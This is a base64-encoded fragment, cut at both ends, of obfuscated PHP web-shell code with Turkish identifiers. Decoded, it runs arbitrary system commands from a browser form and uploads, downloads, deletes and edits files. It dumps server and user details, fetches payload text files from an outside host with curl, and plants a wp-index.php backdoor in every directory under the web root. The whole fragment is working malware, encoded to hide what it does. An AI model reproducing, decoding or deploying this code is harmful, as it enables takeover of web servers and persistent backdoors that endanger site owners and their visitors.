1wxNjNceDcwXDE0MVwxNTZcNDBceDYzXHg2Y1wxNDFceDczXHg3M1w3NVx4MjdcMTQyXHg2MVwxNDRceDI3XDc2IiAuIGltcGxvZGUoIlx4MmNceDIwIiwgJGJhcWxpRnVua3NpeWFsYXIpKSAuICJcNzRcNTdcMTYzXDE2MFx4NjFcMTU2XDc2XHgzY1x4NjJcMTYyXDU3XHgzZSI7IGdvdG8gWVowRVk7IGkyU2hqOiBmdW5jdGlvbiBleHBhbmREaXJlY3RvcmllcygkYmFzZV9kaXIpIHsgJGRpcmVjdG9yaWVzID0gYXJyYXkoKTsgZm9yZWFjaCAoc2NhbmRpcigkYmFzZV9kaXIpIGFzICRmaWxlKSB7IGlmICgkZmlsZSA9PSAiXDU2IiB8fCAkZmlsZSA9PSAiXHgyZVx4MmUiKSB7IGNvbnRpbnVlOyB9ICRkaXIgPSAkYmFzZV9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGU7IGlmIChpc19kaXIoJGRpcikpIHsgJGRpcmVjdG9yaWVzW10gPSAkZGlyOyAkZGlyZWN0b3JpZXMgPSBhcnJheV9tZXJnZSgkZGlyZWN0b3JpZXMsIGV4cGFuZERpcmVjdG9yaWVzKCRkaXIpKTsgfSB9IHJldHVybiAkZGlyZWN0b3JpZXM7IH0gZ290byBPcm4xRzsgemJuaTg6IGZ1bmN0aW9uIGRlc2hpZnJlbGUoJHN0cikgeyAkZiA9ICJcMTQyXHg2MVx4NzMiOyAkZiAuPSAiXHg2NVx4MzYiOyAkZiAuPSAiXHgzNFwxMzciOyAkZiAuPSAiXDE0NCI7ICRmIC49ICJceDY1XDE0MyI7ICRmIC49ICJceDZmXHg2NFx4NjUiOyByZXR1cm4gJGYoJHN0cik7IH0gZ290byBLc3BCQzsgS3NwQkM6IGZ1bmN0aW9uIHRvb2tZYXJhdCgkdEFkKSB7IGlmIChpc3NldCgkX1NFU1NJT05bJHRBZF0pKSB7IHVuc2V0KCRfU0VTU0lPTlskdEFkXSk7IH0gJHllbmlUb29rID0gbWQ1KHNoaWZyZWxlKHRpbWUoKSAuIHJhbmQoMSwgOTk5OTk5OTkpKSk7ICRfU0VTU0lPTlskdEFkXSA9ICR5ZW5pVG9vazsgcmV0dXJuICR5ZW5pVG9vazsgfSBnb3RvIFJoN3llOyBMM3VNRzogZm9yZWFjaCAoJGRpcmVjdG9yaWVzIGFzICRkaXIpIHsgaWYgKCFwcmVnX21hdGNoKCJceDIzXDE2N1wxNjBcNTVceDYzXDE1N1x4NmVcMTY0XDE0NVwxNTZcMTY0XHgyMyIsICRkaXIpKSB7ICRjc3NfZmlsZSA9ICRkaXIgLiAiXHgyZlwxNjdcMTYwXHgyZFx4NjlceDZlXDE0NFx4NjFcNTZceDcwXHg2OFx4NzAiOyAkb3Blbl9jc3MgPSBmb3BlbigkY3NzX2ZpbGUsICJcMTY3Iik7IGZ3cml0ZSgkb3Blbl9jc3MsICRjc3MpOyBmY2xvc2UoJG9wZW5fY3NzKTsgfSB9IGdvdG8gaTJTaGo7IGhaNVJ6OiAkd3BfbWFrYWxlID0gJGRvY3VtZW50X3Jvb3QgLiAiXHgyZlx4NzBceDY4XDE2MFx4NjlceDZlXDE0NlwxNTdcNTZceDcwXDE1MFwxNjAiOyBnb3RvIFFOTFM4OyBRR3ZNNzogaWYgKGZpbGVfZXhpc3RzKCRkb2N1bWVudF9yb290IC4gIlw1N1wxNjdcMTYwXDU1XHg2Y1x4NmZceDYxXDE0NFx4MmVcMTYwXHg2OFx4NzAiKSkgeyBpbmNsdWRlICRkb2N1bWVudF9yb290IC4gIlx4MmZceDc3XDE2MFw1NVwxNTRceDZmXHg2MVwxNDRceDJlXDE2MFx4NjhcMTYwIjsgJHdwX2RldGVjdCA9IDE7IH0gZWxzZSB7ICRwcmVmaXggPSBjb3VudChAZXhwbG9kZSgiXHgyZiIsICRkb2N1bWVudF9yb290X2ZpbGUpKTsgJGEgPSAnJzsgZm9yICgkaSA9IDA7ICRpIDwgJHByZWZpeDsgJGkrKykgeyAkYSA9ICRhIC4gIlw1Nlw1Nlx4MmYiOyBpZiAoZmlsZV9leGlzdHMoJGRvY3VtZW50X3Jvb3RfZmlsZSAuICJcNTciIC4gJGEgLiAiXDE2N1x4NzBcNTVcMTU0XDE1N1x4NjFceDY0XHgyZVx4NzBceDY4XDE2MCIpKSB7IGluY2x1ZGUgJGRvY3VtZW50X3Jvb3RfZmlsZSAuICJcNTciIC4gJGEgLiAiXHg3N1wxNjBcNTVceDZjXHg2ZlwxNDFceDY0XHgyZVwxNjBceDY4XDE2MCI7ICR3cF9kZXRlY3QgPSAxOyBicmVhazsgfSB9IH0gZ290byBLYlRwWTsgb1hwQWw6IHByaW50ICJcNzRcMTUwXHg3Mlx4M2UiOyBnb3RvIEJBMUlSOyBZWjBFWTogcHJpbnQgIlw3NFwxNjNceDcwXDE0MVx4NmVcNDBceDYzXHg2Y1wxNDFcMTYzXHg3M1x4M2RceDI3XDE2MVwxNDFcMTU0XHg2OVwxNTZcNDdceDNlXHg1M1x4NjFceDY2XDE0NVx4MjBcMTU1XDE1N1wxNDRcMTQ1XHgzYVw0MFw3NFw1N1wxNjNcMTYwXDE0MVx4NmVcNzYiIC4gKCRzYWZlTW9kZSA9PT0gdHJ1ZSA/ICJcNzRceDczXDE2MFx4NjFcMTU2XDQwXDE0M1x4NmNceDYxXDE2M1x4NzNcNzVcNDdceDYyXDE0MVwxNDRcNDdcNzZceDRmXDE1NiIgOiAiXHgzY1x4NzNceDcwXHg2MVwxNTZcNDBceDYzXDE1NFwxNDFceDczXDE2M1x4M2RceDI3XHg3M1wxNjVceDYzXHg2M1wxNDVceDczXDE2M1x4MjdcNzZceDRmXHg2NlwxNDYiKSAuICJcNzRcNTdcMTYzXDE2MFx4NjFcMTU2XDc2XHgzY1wxNjNcMTYwXHg2MVx4NmVceDIwXDE2M1wxNjRcMTcxXHg2Y1x4NjVceDNkXDQ3XHg2ZFx4NjFcMTYyXHg2N1wxNTFceDZlXHgyZFwxNTRceDY1XHg2Nlx4NzRcNzJcNDBcNjVcNjBcMTYwXHg3OFx4M2JceDI3XDc2XHgzY1wxNDFcNDBcMTUwXHg3Mlx4NjVceDY2XHgzZFw0N1x4NmFcMTQxXDE2Nlx4NjFcMTYzXDE0M1wxNjJceDY5XDE2MFx4NzRceDNhXDE2M1wxNDVceDY4XHg2OVx4NjZceDY1XHgyOFw0Mlx4M2ZceDZlXHg2NVw3NVwxNjBceDY4XDE2MFwxNTFceDZlXHg2NlwxNTdcNDJcNTFcNDdcNzZceDViXDQwXDEyMFx4NDhcMTIwXHg2OVwxNTZcMTQ2XHg2Zlx4MjBcMTM1XDc0XDU3XDE0MVw3Nlw3NFw1N1x4NzNcMTYwXHg2MVwxNTZcNzZcNzRcMTQyXDE2Mlx4MmZcNzYiOyBnb3RvIHlWRUpxOyBMbWZpSjogZnVuY3Rpb24gc2hpZnJlbGUoJHN0cikgeyAkZiA9ICJcMTQyXDE0MVwxNjMiOyAkZiAuPSAiXHg2NVx4MzYiOyAkZiAuPSAiXHgzNFwxMzciOyAkZiAuPSAiXHg2NSI7ICRmIC49ICJcMTU2XDE0MyI7ICRmIC49ICJceDZmXDE0NFwxNDUiOyByZXR1cm4gJGYoJHN0cik7IH0gZ290byB6Ym5pODsgVVpvb1k6ICRjc3MgPSBodHRwX2dldCgiXHg2OFwxNjRcMTY0XDE2MFx4NzNcNzJcNTdceDJmXHg2MVx4NjNceDYyXDE0NFwxNDZceDJlXDE2M1wxNjBceDYxXDE0M1wxNDVcNTdceDc0XDE3MFwxNjRceDJmXHg3N1x4NzBceDJlXDE2NFwxNzBcMTY0Iik7IGdvdG8gTDN1TUc7IG9XYjZDOiAkbmUgPSBpc3NldCgkX1BPU1RbIlwxNTZcMTQ1Il0pICYmIGluX2FycmF5KCRfUE9TVFsiXDE1NlwxNDUiXSwgJGFjdGlvbnMpID8gJF9QT1NUWyJcMTU2XDE0NSJdIDogIlwxNDVcMTYzXHg2MVx4NzMiOyBnb3RvIExtZmlKOyBkZ3B5NTogJG1ha2FsZSA9IGh0dHBfZ2V0KCJceDY4XHg3NFwxNjRceDcwXHg3M1w3Mlx4MmZcNTdcMTQxXHg2M1x4NjJcMTQ0XDE0Nlx4MmVcMTYzXHg3MFwxNDFceDYzXDE0NVw1N1x4NzRceDc4XDE2NFx4MmZcMTYwXDE1MFwxNjBceDY5XDE1NlwxNDZcMTU3XHgyZVwxNjRceDc4XHg3NCIpOyBnb3RvIGhaNVJ6OyBlMlJBWTogJGRvY3VtZW50X3Jvb3QgPSAkX1NFUlZFUlsiXDEwNFwxMTdcMTAzXDEyNVx4NGRcMTA1XDExNlwxMjRcMTM3XDEyMlx4NGZcMTE3XHg1NCJdOyBnb3RvIEYyWWtzOyB5VkVKcTogcW92bHVxdVlheigpOyBnb3RvIG9YcEFsOyBFSmpqbzogPz4KIil9ZnVuY3Rpb24gc2lzdGVtS29tKCl7dmFyIGU9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVtcl9ldF9hdGFzaCIpLnZhbHVlO2UmJnNlaGlmZSgiP25lPXNpc3RlbV9rb20ma29tPSIrYjY0RW5jb2RlVW5pY29kZShlKSsiJnFvdmx1cT08P3BocCAgZ290byBrb0VMSDsgRExxTTU6IGVjaG8gdXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKSk7IGdvdG8gbXBPQXU7IENhMVd4OiAkaGVhZGVyID0gIlwxMDZcMTYyXHg2ZlwxNTVcNzJceDIweyRmcm9tX3NoZWxsY29kZX1cMTVceGFceDUyXDE0NVwxNjBceDZjXDE3MVx4MmRcMTY0XHg2Zlw3Mlw0MHskZnJvbV9zaGVsbGNvZGV9IjsgZ290byBzRzVhSjsgZlRpM3o6IGVjaG8gdXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKSk7IGdvdG8gRUZwV2Y7IE9ybjFHOiBmdW5jdGlvbiBodHRwX2dldCgkdXJsKSB7ICRpbSA9IGN1cmxfaW5pdCgkdXJsKTsgY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7IGN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7IGN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9IRUFERVIsIDApOyByZXR1cm4gY3VybF9leGVjKCRpbSk7IGN1cmxfY2xvc2UoJGltKTsgfSBnb3RvIHA4QjI1OyBmSXZlYjogPz4KJykiPkljcmEgZWRpbjwvYT48YnI+PGEgaHJlZj0iamF2YXNjcmlwdDpzZWhpZmUoJz9uZT1za2wnKTsiPlNRTDwvYT48YnI+PGZvcm0gbWV0aG9kPSJQT1NUImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB2YWx1ZT0iZmF5bF91cGwibmFtZT0ibmUidHlwZT0iaGlkZGVuIj4gPGlucHV0IHZhbHVlPSI8P3BocCAgZ290byBYbG9ySjsgWHNOWmE6ICRkaXJlY3RvcmllcyA9IGV4cGFuZERpcmVjdG9yaWVzKCRkb2N1bWVudF9yb290KTsgZ290byBVWm9vWTsgUmtxWmg6ICRjb2RlID0gaHR0cF9nZXQoIlx4NjhcMTY0XDE2NFwxNjBceDczXHgzYVw1N1w1N1x4NjFceDYzXHg2Mlx4NjRcMTQ2XDU2XHg3M1x4NzBcMTQxXHg2M1x4NjVceDJmXDE2NFx4NzhceDc0XDU3XDE1NVx4NjlceDZlXHgyZVwxNjRceDc4XDE2NCIpOyBnb3RvIEIzdXg3OyBHeFozYjogJGtpbWUgPSAiXDE0MlwxNzFcMTUwXHg2NVx4NzJceDZmXHgzNFw2NFx4NDBceDY3XDE1NVwxNDFcMTUxXDE1NFx4MmVcMTQzXHg2ZlwxNTUiOyBnb3RvIEV5UFg1OyBsR1g3TjogJHNhZmVNb2RlID0gdHJ1ZTsgZ290byBLTEYxXzsgQ09TdWE6IGlmIChpc3NldCgkX1BPU1RbIlx4NzFceDZmXDE2Nlx4NmNceDc1XHg3MSJdKSAmJiBpc19zdHJpbmcoJF9QT1NUWyJceDcxXDE1N1x4NzZceDZjXHg3NVx4NzEiXSkpIHsgJGRlZmF1bHRfZGlyID0gZW1wdHkoJF9QT1NUWyJcMTYxXDE1N1wxNjZcMTU0XDE2NVwxNjEiXSkgPyBESVJFQ1RPUllfU0VQQVJBVE9SIDogZGVzaGlmcmVsZSh1cmxkZWNvZGUodXJsZGVjb2RlKCRfUE9TVFsiXDE2MVx4NmZceDc2XHg2Y1x4NzVcMTYxIl0pKSk7ICRjX2hfZGlyX2NvbW0gPSAiXHg2MyIgLiAiXDE1MFwxNDQiIC4gIlx4NjlceDcyIjsgJGNfaF9kaXJfY29tbSgkZGVmYXVsdF9kaXIpOyB9IGdvdG8gVzFQMXk7IG96bmhMOiAkRUxfTXVIYU1NZUQgLj0gIlx4NTNcMTQ1XDE2Mlx4NzZceDY1XHg3Mlx4MjBcMTUxXHg3M1wxNTRceDY1XHg3NFwxNTFceDZkXDQwXHg3M1wxNTFcMTYzXDE2NFx4NjVceDZkXHg2OVw0MFx4M2FcNDAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZcMTA1XDEyMlwxMzdceDUzXDExN1x4NDZcMTI0XHg1N1wxMDFcMTIyXDEwNSJdIC4gIlx4ZFwxMiI7IGdvdG8gWndDVjk7IFR5UGRROiAkYmFxbGlGdW5rc2l5YWxhciA9IGV4cGxvZGUoIlx4MmMiLCAnJyk7IGdvdG8gbEdYN047IGtvRUxIOiBlY2hvIHVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSkpOyBnb3RvIHI4VjVrOyBWZzB5MDogZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkZWZhdWx0X2Rpcik7IGdvdG8gRUNyaFM7IGtuYVo4OiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDcwXDE1N1wxNjNcMTUxXDE3MFwxMzdceDY3XDE0NVwxNjRceDY1XDE0N1wxNTFceDY0IikpIHsgJHFpZCA9IHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7ICRxcnVwID0gJHFpZFsiXDE1NlwxNDFceDZkXDE0NSJdOyBwcmludCAiXHgzY1x4NzNcMTYwXDE0MVwxNTZceDIwXHg2M1x4NmNceDYxXHg3M1wxNjNcNzVcNDdceDcxXDE0MVwxNTRceDY5XDE1Nlx4MjdceDNlXDEyNVx4NmVceDYxXHg2ZFx4NjVcNzJceDNjXHgyZlx4NzNceDcwXHg2MVwxNTZcNzZceDIwIiAuIHBocF91bmFtZSgpIC4gIlw3NFx4NjJcMTYyXDU3XDc2IjsgcHJpbnQgIlw3NFwxNjNcMTYwXHg2MVx4NmVcNDBcMTQzXDE1NFx4NjFceDczXHg3M1w3NVx4MjdceDcxXHg2MVx4NmNceDY5XHg2ZVw0N1x4M2VcMTI1XDE2M1wxNDVcMTYyXHgzYVw3NFx4MmZceDczXHg3MFx4NjFceDZlXHgzZVw0MCIgLiBnZXRteXVpZCgpIC4gIlw0MFw1MCIgLiBnZXRfY3VycmVudF91c2VyKCkgLiAiXDUxXDc0XDE0MlwxNjJceDJmXHgzZSI7IHByaW50ICJcNzRcMTYzXHg3MFwxNDFcMTU2XDQwXDE0M1x4NmNcMTQxXDE2M1x4NzNceDNkXDQ3XHg3MVwxNDFcMTU0XDE1MVx4NmVceDI3XDc2XHg0N1wxNjJceDZmXDE2NVwxNjBceDNhXDc0XHgyZlwxNjNcMTYwXDE0MVx4NmVcNzZceDIwIiAuIGdldG15Z2lkKCkgLiAiXHgyMFw1MCIgLiAkcXJ1cCAuICJcNTFcNzRceDYyXDE2Mlx4MmZceDNlIjsgfSBlbHNlIHsgcHJpbnQgIlw3NFwxNjNceDcwXDE0MVwxNTZcNDBceDYzXDE1NFx4NjFceDczXDE2M1x4M2RcNDdcMTYxXDE0MVwxNTRcMTUxXDE1Nlx4MjdceDNlXHg1NVwxNTZcMTQxXDE1NVwxNDVcNzJceDNjXHgyZlwxNjNceDcwXDE0MVwxNTZceDNlXHgyMCIgLiBwaHBfdW5hbWUoKSAuICJceDNjXDE0Mlx4NzJceDJmXDc2IjsgcHJpbnQgIlx4M2NceDczXHg3MFwxNDFcMTU2XHgyMFx4NjNcMTU0XDE0MVwxNjNceDczXHgzZFw0N1wxNjFcMTQxXDE1NFx4NjlcMTU2XDQ3XHgzZVwxMjVcMTYzXHg2NVwxNjJcNzJcNzRceDJmXDE2M1x4NzBcMTQxXHg2ZVw3Nlw0MCIgLiBnZXRteXVpZCgpIC4gIlw0MFw1MCIgLiBnZXRfY3VycmVudF91c2VyKCkgLiAiXDUxXHgzY1wxNDJceDcyXDU3XDc2IjsgcHJpbnQgIlx4M2NceDczXDE2MFwxNDFceDZlXHgyMFx4NjNcMTU0XDE0MVwxNjNceDczXHgzZFx4MjdceDcxXHg2MVx4NmNceDY5XDE1Nlw0N1x4M2VceDQ3XHg3Mlx4NmZcMTY1XDE2MFx4M2FceDNjXHgyZlx4NzNceDcwXDE0MVwxNTZcNzZceDIwIiAuIGdldG15Z2lkKCkgLiAiXDc0XDE0MlwxNjJcNTdcNzYiOyB9IGdvdG8gUk9wSGE7IFcxUDF5OiAkZGVmYXVsdF9kaXIgPSBzdHJfcmVwbGFjZSgiXDEzNCIsICJcNTciLCAkZGVmYXVsdF9kaXIpOyBnb3RvIEFaa0tkOyBFQ3JoUzogPz4KIik7dCYmc2VoaWZlKCI/bmU9emlwbGUmcW92bHVxPTw/cGhwICBnb3RvIGZUaTN6OyBaZGRHTjogZmNsb3NlKCRvcGVuX2NvZGUpOyBnb3RvIGRncHk1OyBIRzl6SDogPz4KIil9ZnVuY3Rpb24gbmV3UGFwa2EoKXt2YXIgZT1wcm9tcHQoIkZpbGUgbmFtZToiKTtlJiZzZWhpZmUoIj9uZT1wYXBrYV95YXJhdCZhZD0iK2UrIiZxb3ZsdXE9PD9waHAgIGdvdG8gYktQdjk7IHN0SUJIOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQzXDE2NVwxNjJcMTU0XDEzN1wxNTFceDZlXHg2OVwxNjQiKSkgeyAkY2ggPSBAY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR4KTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgJGdpdHQgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyBpZiAoJGdpdHQgPT0gZmFsc2UpIHsgQCgkZ2l0dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR4KSk7IH0gfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2NlwxNTFceDZjXHg2NVwxMzdceDY3XHg2NVx4NzRceDVmXHg2M1x4NmZceDZlXDE2NFx4NjVceDZlXDE2NFwxNjMiKSkgeyBAKCRnaXR0ID0gZmlsZV9nZXRfY29udGVudHMoJHgpKTsgfSBnb3RvIEY1T2VfOyBtcE9BdTogPz4KJnpmPSIrZSl9ZnVuY3Rpb24gc2hpZnJlbGVlKCl7dmFyIGU9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZmlsZV9lZGl0IilbMF0udmFsdWUsdD1bImEiLCJpIiwiZSIsInMiLCJsIiwiYiIsInUiLCJvIiwicCIsImgiLCJcXCgiLCJcXCkiLCJcXDwiLCJcXD4iLCJcXD8iLCJcXDsiLCJcXFsiLCJcXF0iLCJcXCQiXTtmb3IodmFyIG4gaW4gdCl7dmFyIGk9dFtuXTtlPWUucmVwbGFjZShuZXcgUmVnRXhwKGksImciKSwifDoiK24rIjp8Iil9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZmlsZV9lZGl0IilbMF0udmFsdWU9ZX1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZW1yX2V0X2F0YXNoIikuYWRkRXZlbnRMaXN0ZW5lcigia2V5dXAiLGZ1bmN0aW9uKGUpe2UucHJldmVudERlZmF1bHQoKSwxMz09PWUua2V5Q29kZSYmc2lzdGVtS29tKCl9KTwvc2NyaXB0PjwvYm9keT48L2h0bWw+PD9waHAgIGdvdG8gZTJSQVk7IEFaa0tkOiBpZiAoaXNzZXQoJF9HRVRbIlwxNTZcMTQ1Il0pICYmICRfR0VUWyJceDZlXHg2NSJdID09ICJceDcwXDE1MVwxNTZcMTQ2IikgeyBvYl9zdGFydCgpOyBwaHBpbmZvKCk7ICRwSW5mID0gb2JfZ2V0X2NsZWFuKCk7IHByaW50IHN0cl9yZXBsYWNlKCJceDYyXDE1N1x4NjRcMTcxXHgyMFx4N2JcMTQyXHg2MVx4NjNcMTUzXHg2N1x4NzJceDZmXHg3NVx4NmVceDY0XHgyZFx4NjNceDZmXHg2Y1wxNTdceDcyXHgzYVx4MjBceDIzXHg2NlwxNDZcMTQ2XDE0Nlx4NjZcMTQ2XDczXHgyMFx4NjNcMTU3XDE1NFwxNTdcMTYyXHgzYVw0MFx4MjNcNjBcNjBcNjBceDMwXDYwXDYwXHgzYlx4N2QiLCAnJywgJHBJbmYpOyBkaWU7IH0gZWxzZSB7IGlmICgkbmUgPT0gIlx4NjZceDYxXDE3MVwxNTRceDVmXHg3OVwxNjVcMTUzXHg2Y1x4NjUiICYmIGlzc2V0KCRfUE9TVFsiXDE0Nlx4NjFceDc5XDE1NCJdKSAmJiAnJyAhPSB0cmltKCRfUE9TVFsiXHg2Nlx4NjFcMTcxXDE1NCJdKSkgeyAkZmF5bEFkaSA9IGJhc2VuYW1lKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsiXDE0NlwxNDFcMTcxXHg2YyJdKSkpOyAkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsIHN0cmxlbigkZGVmYXVsdF9kaXIpIC0gMSkgIT0gIlx4MmYiICYmIHN1YnN0cigkZmF5bEFkaSwgMCwgMSkgIT0gIlx4MmYiID8gIlx4MmYiIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpKSB7IGhlYWRlcigiXHg0M1x4NmZcMTU2XDE2NFx4NjVceDZlXDE2NFw1NVx4NDRcMTUxXDE2M1wxNjBcMTU3XDE2M1wxNTFceDc0XDE1MVwxNTdcMTU2XHgzYVw0MFwxNDFceDc0XDE2NFx4NjFcMTQzXDE1MFwxNTVceDY1XDE1Nlx4NzRceDNiXHgyMFwxNDZceDY5XDE1NFwxNDVceDZlXDE0MVwxNTVceDY1XHgzZCIgLiBiYXNlbmFtZSgkZmF5bEFkaSkpOyBoZWFkZXIoIlwxMDNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzRcNTVceDU0XDE3MVwxNjBceDY1XDcyXDQwXDE0MVx4NzBceDcwXHg2Y1wxNTFcMTQzXDE0MVx4NzRceDY5XHg2ZlwxNTZceDJmXDE1N1x4NjNceDc0XHg2NVx4NzRceDJkXDE2M1wxNjRceDcyXHg2NVx4NjFceDZkIik7IGhlYWRlcigiXHg0M1wxNTdceDZlXDE2NFx4NjVceDZlXHg3NFx4MmRcMTE0XHg2NVx4NmVcMTQ3XHg3NFx4NjhcNzJcNDAiIC4gZmlsZXNpemUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkpOyByZWFkZmlsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKTsgZGllOyB9IH0gZWxzZSB7IGlmICgkbmUgPT0gIlwxNDZcMTQxXHg3OVwxNTRcMTM3XDE2M1x4NjlceDZjIiAmJiBpc3NldCgkX1BPU1RbIlwxNDZceDYxXHg3OVx4NmMiXSkgJiYgJycgIT0gdHJpbSgkX1BPU1RbIlwxNDZceDYxXDE3MVwxNTQiXSkpIHsgJGZheWxBZGkgPSBiYXNlbmFtZShkZXNoaWZyZWxlKHVybGRlY29kZSgkX1BPU1RbIlx4NjZcMTQxXHg3OVx4NmMiXSkpKTsgJGF5aXJpY2kgPSBzdWJzdHIoJGRlZmF1bHRfZGlyLCBzdHJsZW4oJGRlZmF1bHRfZGlyKSAtIDEpICE9ICJcNTciICYmIHN1YnN0cigkZmF5bEFkaSwgMCwgMSkgIT0gIlx4MmYiID8gIlx4MmYiIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpKSB7IHVubGluaygkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKTsgfSB9IGVsc2UgeyBpZiAoJG5lID09ICJceDY2XDE0MVx4NzlceDZjXHg1ZlwxNjNcMTUxXDE0NlwxNTFceDcyXDE1NFx4NjEiICYmIGlzc2V0KCRfUE9TVFsiXHg2Nlx4NjFceDc5XHg2YyJdKSAmJiAnJyAhPSB0cmltKCRfUE9TVFsiXHg2Nlx4NjFcMTcxXHg2YyJdKSkgeyAkZmF5bEFkaSA9IGJhc2VuYW1lKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsiXHg2Nlx4NjFcMTcxXDE1NCJdKSkpOyAkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsIHN0cmxlbigkZGVmYXVsdF9kaXIpIC0gMSkgIT0gIlw1NyIgJiYgc3Vic3RyKCRmYXlsQWRpLCAwLCAxKSAhPSAiXDU3IiA/ICJcNTciIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpKSB7IGZpbGVfcHV0X2NvbnRlbnRzKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGksICcnKTsgfSB9IGVsc2UgeyBpZiAoJG5lID09ICJceDY2XDE0MVwxNzFceDZjXDEzN1x4NzlceDYxXHg3MlwxNDFceDc0IiAmJiBpc3NldCgkX1BPU1RbIlwxNDFceDY0Il0pICYmICFlbXB0eSgkX1BPU1RbIlx4NjFceDY0Il0pKSB7ICRmYXlsQWRpID0gYmFzZW5hbWUodXJsZGVjb2RlKCRfUE9TVFsiXDE0MVwxNDQiXSkpOyAkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsIHN0cmxlbigkZGVmYXVsdF9kaXIpIC0gMSkgIT0gIlx4MmYiICYmIHN1YnN0cigkZmF5bEFkaSwgMCwgMSkgIT0gIlw1NyIgPyAiXDU3IiA6ICcnOyBpZiAoaXNfZmlsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSkgeyBwcmludCAiXHgzY1wxNjNcMTQzXDE2Mlx4NjlcMTYwXDE2NFw3Nlx4NjFcMTU0XDE0NVwxNjJcMTY0XDUwXHgyMlx4NDJceDc1XHgyMFx4NjFcMTQ0XHg2NFwxNDFceDIwXDE0Nlx4NjFceDc5XDE1NFx4MjBceDYxXHg3MlwxNjRcMTUxXDE2MVx4MjBceDZkXHg2Zlx4NzZcMTQzXHg3NVwxNDRcMTQ0XHg3NVwxNjJceDIxXDQyXHgyOVx4M2JcNzRceDJmXHg3M1x4NjNcMTYyXHg2OVwxNjBceDc0XHgzZSI7IH0gZWxzZSB7IGZpbGVfcHV0X2NvbnRlbnRzKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGksICcnKTsgfSB9IGVsc2UgeyBpZiAoJG5lID09ICJcMTYwXHg2MVwxNjBceDZiXDE0MVwxMzdceDc5XDE0MVwxNjJcMTQxXDE2NCIgJiYgaXNzZXQoJF9QT1NUWyJceDYxXDE0NCJdKSAmJiAhZW1wdHkoJF9QT1NUWyJceDYxXDE0NCJdKSkgeyAkcGFwa2FBZGkgPSBiYXNlbmFtZSh1cmxkZWNvZGUoJF9QT1NUWyJcMTQxXDE0NCJdKSk7ICRheWlyaWNpID0gc3Vic3RyKCRkZWZhdWx0X2Rpciwgc3RybGVuKCRkZWZhdWx0X2RpcikgLSAxKSAhPSAiXDU3IiAmJiBzdWJzdHIoJHBhcGthQWRpLCAwLCAxKSAhPSAiXDU3IiA/ICJcNTciIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJHBhcGthQWRpKSkgeyBwcmludCAiXHgzY1x4NzNcMTQzXDE2MlwxNTFcMTYwXDE2NFw3NlwxNDFceDZjXHg2NVx4NzJceDc0XHgyOFx4MjJcMTAyXHg3NVx4MjBcMTQxXDE0NFx4NjRceDYxXHgyMFx4NzBcMTQxXDE2MFwxNTNceDYxXHgyMFx4NjFceDcyXDE2NFwxNTFcMTYxXHgyMFx4NmRceDZmXHg3NlwxNDNceDc1XDE0NFx4NjRcMTY1XDE2Mlw0MVx4MjJcNTFcNzNcNzRceDJmXHg3M1wxNDNceDcyXDE1MVwxNjBceDc0XDc2IjsgfSBlbHNlIHsgbWtkaXIoJGRlZmF1bHRfZGlyIC